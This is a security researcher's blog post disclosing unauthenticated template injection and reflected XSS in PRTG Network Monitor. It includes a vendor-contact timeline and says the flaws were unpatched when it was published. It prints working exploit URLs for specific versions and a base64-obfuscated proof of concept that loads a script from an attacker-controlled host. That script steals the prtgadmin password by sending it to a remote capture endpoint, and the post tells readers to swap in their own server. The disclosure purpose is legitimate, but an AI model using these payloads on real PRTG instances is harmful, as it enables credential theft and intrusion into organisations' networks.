Popping Tags: Exploiting Template Injections in PRTG Network Monitor

by

Peter Szot

TL;DR

The PRTG network monitor application is vulnerable to unauthenticated template injection allowing users to inject malicious tags and execute JavaScript.

Background

During the external reconnaissance phase of a red team, you may find yourself encountering an instance of PRTG’s Network Monitor – a popular tool for automating health-checks of services and infrastructure. Also, potentially a great entry vector to an organisation as PRTG commonly connects to on-premises Active Directory for authentication or may be configured with credentials to connect to the internal resources it monitors. They are also quite commonly exposed to the internet! Gaining access can be tricky though as a strong password policy is encouraged by default.

Fortunately, PRTG allows free download of a trial version of their software, which is very helpful when you’re looking for vulnerabilities in the application. What you’ll encounter is a combination of REST API and bespoke templating engine which uses regular HTML pages, enriched with custom tags. These tags are processed on-the-fly so it’s easy to observe the logic embedded in individual pages just by looking at their HTML source code.

Background research into older PRTG vulnerabilities revealed a long history of interesting findings. CVE-2020-11547 in particular was used as a starting point for this research. The following blog post highlights the outcome of our investigation and includes the findings identified – all of which have been reported to PRTG allowing 90 days for any remediations to be applied.

Note: at the time of writing, the most up to date version of PRTG Network Monitor (23.1.82.2175) was not fully patched against all identified vulnerabilities and a working proof-of-concept has been supplied below.

Introduction to PRTG tags

PRTG relies on a “tag” system to allow for efficient reuse of code within web-application resources. The system version tag, for example, returns a string identifying the version of PRTG currently running.

A page with the source code:

<#system type="version">

Might return something similar to the following output:

22.2.76.1705

Other tags exist which take parameters, with a subset of which produce output dependent on these parameters. One such example is the defaultlogin tag. This tag checks if the administrator account still has the default password, and returns one of two provided code paths:

<#system type="defaultlogin" code="true" codeifnot="false">

When the password is still set to the default, the tag returns the value of the code parameter (“true”), and otherwise returns the codeifnot value (“false”). None of this is problematic, assuming users are not able to write their own tags into documents, or manipulate existing ones.

Runtime Tag Manipulation

Network Monitor will process parameters passed in the URL or body of a request, much like any other web application. However, it will behave abnormally when client-specified parameters match the names of arguments passed to tag objects in the page.

For example, when the type parameter is specified in a request, all tags in the requested resource which rely on the type attribute, will use the user-specified value, instead of their hard-coded one.

Using the following API endpoint as an example:

/api/public/authdata.htm

Which consists of the following 3 embedded system tags:

{"id":"<#system type="authclientid">","domain":"<#system type="authdomain">", "audience":"<#system type="authaudience">"}

Providing a “type” parameter set to codename:

/api/public/authdata.htm?type=codename

Returns the following response:

{"id":"PRTG Network Monitor","domain":"PRTG Network Monitor", "audience":"PRTG Network Monitor"}

This can expose some unintended information, but since tag logic is still subject to authorization checks, limited sensitive information can be obtained.

Reflected XSS

With the knowledge that we are able to manipulate the tags contained within pages, we can now begin to look for specifc tag types which will allow us to inject arbitrary content into a page.

Using an example we’ve identified earlier:

<#system type="defaultlogin" code="true" codeifnot="false">

If we were able to change the content of the code and codeifnot then we might be able to inject dangerous script content into a page.

Turns out we can, just by supplying the relevant parameters in our request. As per the following example:

/public/login.htm?type=defaultlogin&code=AAAAAAAA

The returned page contains numerous repetitions of the string ‘AAAAAAAA’ representing successful injection of our desired tag:

<body id="mainbody" class="systemmenu loginscreen language_AAAAAAAA">

For reference, the source code of the body HTML object is as follows:

<body id="mainbody" class="systemmenu <#bodyclass> language_<#system type='language'>">

Note that PRTG will escape angle brackets (‘<’ and ‘>’) by converting them into curly braces instead (‘{‘ and ‘}’). In order to execute scripts, we can simply abuse an injection point which is already inside a JavaScript block, or HTML tag.

The following request will result in XSS:

/public/login.htm?type=defaultlogin&code="+autofocus+onfocus%3d"alert(0)"+a%3d"

With a snippet of the response:

<body id="mainbody" class="systemmenu loginscreen language_" autofocus onfocus="alert(0)" a="">

When the page is viewed in a browser, the payload will trigger endlessly while the alert steals focus:


Execution of reflected XSS in a victim’s browser.
Execution of reflected XSS in a victim’s browser.

Keep in mind with this specific tag, if the default password has been changed, use codeifnot instead of the code parameter.

The following tag types can be exploited in versions of PRTG before 22.4.81.1532 to achieve XSS via the code and codeifnot parameters:

  • defaultlogin

  • browserdependent

  • isunlimitedlicense

  • hassso

Unpatched

A further investigation into the fixes applied by PRTG identified the following tags which were not fixed, utilizing the “insertifyes” and “insertifno” parameters (in versions up to and including 23.1.82.2175):

  • autoupdateavailable

  • autoupdate

  • recommender

From the above tags, only the recommender type can be used in an unauthenticated application session. The following URL PoC can be used to trigger the XSS:

http://server/public/login.htm?&type=recommender&insertifyes="+autofocus+onfocus%3d"alert(0)"+a%3d"&insertifno=

Proof of Concept

We’ve developed the following proof of concept RXSS payload to capture the password of the prtgadmin user.

http://server/public/login.htm?&type=recommender&insertifyes=AZAZ';eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zZXRBdHRyaWJ1dGUoJ3NyYycsJ2h0dHA6Ly94LngueC54L3guanMnKTtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGEpOz0='))//'AZAZ&insertifno=

The above base64 content decodes to the following script:

var a=document.createElement('script');
a.setAttribute('src','http://x.x.x.x/x.js');
document.head.appendChild(a);

The “insertifyes” payload injects a script tag into the header of the document which loads a script from an attacker-controlled server – in this case http://x.x.x.x/x.js. Note the AZAZ… text is there to allow the script to perform a regex find/replace in the HTML of the document body.

This “x.js” script contains the following:

//removes text garbage caused by multiple injections
d = document.body.innerHTML.toString().replaceAll(new RegExp("AZAZ.*AZAZ", "ig"),"")
document.body.innerHTML = d;
//preset username to prtgadmin user
login = document.getElementById("loginusername")
login.value = "prtgadmin"
//correct the broken password field attributes
pass = document.getElementById("loginpassword")
pass.value = ""
pass.type="password"
//add handler to capture password on change and send to x.x.x.x server
pass.onchange = function() {
   const req = new XMLHttpRequest();
   req.open("GET", "http://x.x.x.x/capture?user="+login.value+"&pass="+pass.value);
   req.send();
}

This script repairs the original page, removing extra occurrences of the payload appearing as unexpected junk text on the page, and correcting any form attributes which had their content overridden in the injection. Finally, it sets the username field to “prtgadmin” and adds an “onchange” listener to the password field, submitting the values back to our server before they are used to login.

A test run of the payload can be seen below. After successful login the user can continue to interact with the application as normal.


Capturing the credentials of a user logging into the application.
Capturing the credentials of a user logging into the application.

Remember to replace occurrences of x.x.x.x with your server details, and happy (authorised) hacking.

Timeline

  • 28th October 2022
    • Initial findings reported to Paessler security team.
    • Received acknowledgement and commitment to fix within 90 days.
  • 1st December 2022
    • Paessler reports initial findings are remediated in version 22.4.81.1532.
    • New XSS vectors are identified and reported.
  • 15th December 2022
    • Paessler acknowledges receipt of new findings.
  • 15th March 2023
    • Follow-up communication sent to Paessler Security team 90 days since disclosure.
  • 18th April
    • No response from Paessler, blog post released.